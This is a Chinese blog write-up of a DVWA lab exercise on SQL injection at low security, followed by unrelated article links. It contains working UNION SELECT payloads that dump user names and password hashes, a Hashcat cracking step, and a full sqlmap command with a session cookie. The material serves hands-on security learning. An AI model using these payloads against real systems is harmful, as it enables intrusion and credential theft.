首次使用DVWA的靶场,咋们先从最低级别的LOW开始,因为之前玩过一下墨者学院,对sql注入有一点认识和理解,所以先从sql的盲注开始;

1、测试注入点是否存在sql注入的漏洞;

(1)首先我们在输入框随意输入数字,但发现并没有什么可以看出漏洞的地方,只能看到地址栏的id会根据我们输入的内容变化;
在这里插入图片描述
在这里插入图片描述
我们尝试在输入栏输入一些错误的判定条件让查询发生错误,但是很不幸并没用,后面还是通过看别人的发贴风险找到思路;
在这里插入图片描述
题外话:想要学会sql注入,首先是要熟悉数据库方面的知识,对于web页面的数据显示,后台sql是如何查询的,查询语句的结构是怎样,这都要有一定的认识和基础。我因为对语言和数据库方面的知识不够充分,所以一直比较抗拒web的渗透,对内网和网络攻击方面能够理解得更好,但是攻击的开始往往都是从web开始的,所以还是得学。

在这里我们想要让输出的内容报错,只能去理解和分析后台sql查询语句的构造;
这是从大佬分享的帖子里复制过来的,我们进行简单分析,首先是创建了一个参数id,而数值‘id’就是我们从输入框输入的数字,在这过程中,数值‘id’并没有进行对应的字符类型转换就直接提交到了sql的查询语句中。那么我们是不是可以想,根据‘id’在语句中的位置,输入一些特殊的字符让查询语句失效,那么就可以让页面显示报错了。根据下面语句的结构,我们可以输入一个单引号让查询语句出错。

// 错误示例(PHP代码)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = '$id'"; // 用户输入直接拼接到SQL中

我们得到了这样的页面报错信息,大概意思是说你有一条错误的sql语句,那么同时我们就可以判定这个地方是存在sql注入的漏洞;

1.原始SQL可能是:SELECT * FROM users WHERE id = '[你的输入]'2.输入单引号后:SELECT * FROM users WHERE id = ''' → 造成语法错误

在这里插入图片描述

2、通过ORDER BY确定表的列数

1ORDER BY 1 #
1ORDER BY 2 #
...输入后的查询语句:
SELECT * FROM users WHERE id = '1' ORDER BY 1 #';

*注:#和 - - 在sql语句中是注释的作用,在软件开发时,为了后期代码维护和让其他人看得明白,所以会在对应地方加上注释符,后面添加对应代码的功能说明等信息,这些部分不会被程序所识别和执行。

当我们执行到1’ ORDER BY 3 #时,就开始出现了报错,因此表的列数为2。
在这里插入图片描述

3、通过UNION联合查询或许数据库的信息

输出后能够成功或许到数据库的库名;

1' union select 1,database() #

在这里插入图片描述

同样如果我们想要输出的信息简洁一些,可以吧 “ 1’” 的部分改为 “ 6’ ”,因为对应id=6丝没有对应的数据的,所以只会显示我们后面select 1,database() 的内容。

6' union select 1,database() #

在这里插入图片描述

4、通过数据库的库名获取表名

这里就要引入另一个知识点,Mysql数据库的一个特征性,在information_schema库的tables表中记录了所有数据库的库名以及库名下面对应的所有表名,这里我不详细进行解说,在往期有进行过稍微详细的叙述。往期地址

通过这个特性,我们编辑好对应的查询语句,然后注入,得到了表名;

6' union select 1,table_name from information_schema.tables where table_schema=database() #

在这里插入图片描述

5、通过表明获取列明

可以看到输出的信息中,有user和password这些敏感字段,后面就能直接进行数据或许了;

6' union select 1,column_name from information_schema.columns where table_name='users' #

在这里插入图片描述

我这里使用的查询方式输出的结果都会单独的显示,这个可以参考一下大佬的查询命令,能够把所有的查询结果都集合到了同一条信息里面,避免表名数量太多显示不完全的问题,两种方式可以参考着使用;

6' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

在这里插入图片描述

6、通过列表名对敏感信息进行获取

6' union select user,password from dvwa.users #

在这里插入图片描述

获取了加密的password,我们运用昨天的几个小工具尝试进行解密;
首先检测Hash算法;
在这里插入图片描述
因为kali会报GPU内存不足,所以在物理机上采用Hashcat进行解密,因为不清楚掩码是什么,所以这里我们直接采用一个我平时收集的字典进行解密;
顺利跑出了明文。
在这里插入图片描述

7、通过sqlmap进行自动化注入

在之前的墨者学院靶场我们也使用过sqlmap进行自动化的注入,但是在这里会有一点小小的区别。
首先我们分析一下常规的测试指令:

sqlmap -u “[注入地址/url]”

然后常规的测试指令只适合于静态访问的网页,但是我们使用的靶场是经过用户的登录的,因此我们需要加入对应的cookie信息,把登录后的授权信息传递给sqlmap。

sqlmap -u “[注入地址/url]” --cookie “[站点cookie]”

实例:

我们打开开发者模式(按键F12),选择网络(Network),点击重新加载后选择第一个文件,我们获取对应的url地址和cookie信息(如下图)。
在这里插入图片描述
打开sqlmap,把我们收集到的信息进行指令编辑,并输入到sqlmap中执行。
注:在url输入时需要在id=1后面加上一个“ * ”符号,这表示这这个点进行注入。
在这里插入图片描述
测试指令。

sqlmap -u "https://dvwa.bachang.org/vulnerabilities/sqli/?id=1*&Submit=Submit" --cookie "PHPSESSID=clql5r97tk05svu30kq8t44542; security=low" 

能够成功检测出存在的注入漏洞类型
在这里插入图片描述
对库名也能够进行成功爆破;
在这里插入图片描述

后面就可以参照之前的文章笔记进行操作,直到把表中的数据爆破出来,我就不再做详细的实验了;

总结:虽然在打靶场的时候其实也是一边看大佬分享的笔记再一边进行实验,但是重要的是每个过程都要自己去搞懂,要自己去操作,甚至一个符号,为什么要加这个符号,为什么要采用这样的查询方式都要弄清楚,这样以后遇到同样的喽洞才能更得心应手,而且这弄清楚的过程也是一个学习的过程,有些其实是一些很基础的东西,但是恰恰你不知道就无法再进一步。

多实践,多学习,多听trance,再见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/88718.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/88718.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/88718.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JAVA线程池详解+学习笔记

1.线程池基础概念线程池是一种资源复用技术,通过预先创建并管理一组线程,减少频繁创建和销毁线程的开销。核心思想与数据库连接池、字符串常量池类似,旨在提升系统性能。核心参数解析ThreadPoolExecutor构造函数包含7个关键参数:c…

数据分析库 Pandas

对于Pandas的简单认识和基本操作的练习一 介绍 Pandas 是一个开源的数据分析和数据处理库,它是基于 Python 编程语言的库。 Pandas 提供了易于使用的数据结构和数据分析工具,特别适用于处理结构化数据,如表格型数据(类似于 Excel …

qt 中不要让 lambda 槽函数捕获信号源对象的共享指针

错误示例std::shared_ptr<QSerialPort> serial{new QSerialPort{}};QSerialPort::connect(serial.get(),&QSerialPort::readyRead,[serial](){QByteArray receive_data serial->readAll();std::cout.write(receive_data.data(), receive_data.size());});这会直接…

Solidity 合约的编写-完整开发流程:从编译、测试、部署到交互

&#x1f9f1; Solidity 合约开发全流程&#xff08;Foundry 版&#xff09;✅ 适合对象&#xff1a;已经能写合约但不清楚如何测试、部署、交互的开发者✅ 工具链&#xff1a;Foundry&#xff08;forge, anvil, cast&#xff09;&#x1f4cc; 开发流程总览1️⃣ 初始化项目 2…

设计模式 - 面向对象原则:SOLID最佳实践

文章目录深入理解 SOLID&#xff1a;用对原则&#xff0c;别把简单问题搞复杂SOLID 原则概览1. 单一职责原则&#xff08;SRP&#xff09;2. 开闭原则&#xff08;OCP&#xff09;3. 里氏替换原则&#xff08;LSP&#xff09;4. 接口隔离原则&#xff08;ISP&#xff09;5. 依赖…

Vue 3 中父组件内两个子组件相互传参的几种方法

方法一&#xff1a;通过父组件中转&#xff08;Props Emits&#xff09;<!-- ParentComponent.vue --> <template><ChildA :message-from-b"messageFromB" send-to-b"handleSendToB" /><ChildB :message-from-a"messageFromA&q…

三子棋游戏设计与实现(C 语言版)

一、需求分析目标&#xff1a;实现一个简单的人机对战三子棋&#xff0c;支持以下功能&#xff1a;初始化空棋盘&#xff0c;清晰展示落子状态。玩家通过坐标落子&#xff08;X 代表玩家&#xff09;&#xff0c;电脑随机落子&#xff08;O 代表电脑&#xff09;。实时判断胜负…

GD32 CAN1和TIMER0同时开启问题

背景&#xff1a;今天在一个项目调试的时候发现了一些问题&#xff0c;由此贴记录一下问题解决的过程。使用的芯片是GD32F305VE。使用到了CAN1和TIMER0。在使用这连个外设的时候发送了一些问题。单独使用CAN1。功能正常。单独使用TIMER0。配置为输出模式。功能正常。但是当两个…

剑指offer56_数组中唯一只出现一次的数字

数组中唯一只出现一次的数字在一个数组中除了一个数字只出现一次之外&#xff0c;其他数字都出现了三次。 请找出那个只出现一次的数字。 你可以假设满足条件的数字一定存在。 思考题&#xff1a; 如果要求只使用 O(n) 的时间和额外 O(1) 的空间&#xff0c;该怎么做呢&#xf…

从语音识别到智能助手:Voice Agent 的技术进化与交互变革丨Voice Agent 学习笔记

From Research AI&#xff1a; 最近看到 Andrew Ng 的一句话让我印象深刻&#xff1a;“While some things in AI are overhyped, voice applications seem underhyped right now.”&#xff08;尽管 AI 中有些领域被过度炒作&#xff0c;语音应用却似乎被低估了&#xff09;。…

什么是Jaccard 相似度(Jaccard Similarity)

文章目录✅ 定义&#xff1a;&#x1f4cc; 取值范围&#xff1a;&#x1f50d; 举例说明&#xff1a;&#x1f9e0; 应用场景&#xff1a;⚠️ 局限性&#xff1a;&#x1f4a1; 扩展概念&#xff1a;Jaccard 相似度&#xff08;Jaccard Similarity&#xff09; 是一种用于衡量…

ragflow_多模态文档解析与正文提取策略

多模态文档解析与正文提取策略 RAGflow的文档解析系统位于deepdoc/parser/目录下,实现了对多种文档格式的统一解析处理。该系统采用模块化设计,针对不同文档格式提供专门的解析器,并通过视觉识别技术增强解析能力。本文将深入探讨RAGflow的文档解析系统的设计原理、实现细节…

数据结构栈的实现(C语言)

栈的基本概念栈是一种特殊的线性存储结构&#xff0c;是一种操作受到限制的线性表&#xff0c;特殊体现在两个地方&#xff1a;1、元素进栈出栈的操作只能从同一端完成&#xff0c;另一端是封闭的&#xff0c;通常将数据进栈叫做入栈&#xff0c;压栈等&#xff0c;出栈叫做弹栈…

【springboot】IDEA手动创建SpringBoot简单工程(无插件)

大致步骤 创建Maven工程 引入依赖 提供启动类 详细教程 创建Maven工程 修改pom.xml文件 添加父节点 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.5.3</…

独立开发第二周:构建、执行、规划

一 第二周的独立开发旅程落下帷幕。相较于第一周的适应&#xff0c;本周的核心词是“聚焦”与“执行”。 目标非常明确&#xff1a;在产品开发上取得进展&#xff1b;在个人工作节奏上&#xff0c;将上周初步形成的框架进行实践与固化。 同时&#xff0c;为至关重要的自媒体运营…

在YOLO-World中集成DeformConv、CBAM和Cross-Modal Attention模块的技术报告

在YOLO-World中集成DeformConv、CBAM和Cross-Modal Attention模块的技术报告 1. 引言 1.1 项目背景 目标检测是计算机视觉领域的核心任务之一,而YOLO(You Only Look Once)系列算法因其出色的速度和精度平衡而广受欢迎。YOLO-World是YOLO系列的最新发展,专注于开放词汇目标…

从UI设计到数字孪生实战应用:构建智慧金融的风险评估与预警平台

hello宝子们...我们是艾斯视觉擅长ui设计、前端开发、数字孪生、大数据、三维建模、三维动画10年经验!希望我的分享能帮助到您!如需帮助可以评论关注私信我们一起探讨!致敬感谢感恩!一、引言&#xff1a;传统金融风控的 “滞后困境” 与数字孪生的破局之道金融风险的隐蔽性、突…

【Linux】权限相关指令

前言&#xff1a; 上两篇文章我们讲到了&#xff0c;关于Linux中的基础指令。 【Linux】初见&#xff0c;基础指令-CSDN博客【Linux】初见&#xff0c;基础指令&#xff08;续&#xff09;-CSDN博客 本文我们来讲Linux中关于权限中的一些指令 shell命令 Linux严格来说是一个操…

前端学习3--position定位(relative+absolute+sticky)

继上一篇&#xff0c;做下拉菜单的时候&#xff0c;涉及到了position&#xff0c;这篇就来学习下~先看下position在下拉菜单中的应用&#xff1a;一、关键代码回顾&#xff1a;/* 下拉菜单容器 */ .dropdown {position: relative; /* ➊ 关键父级 */ }/* 下拉内容&#xff08;默…

APP Inventor使用指南

APP Inventor使用指南一、组件介绍二、逻辑设计设计方法&#xff1a;设计实例&#xff08;参考嘉立创教程&#xff09;点击跳转 &#xff1a; app inventor&#xff08;点不开的话需要&#x1fa84;&#x1fa84;&#x1fa84;&#x1fa84;&#x1fa84;&#xff09; 一、组…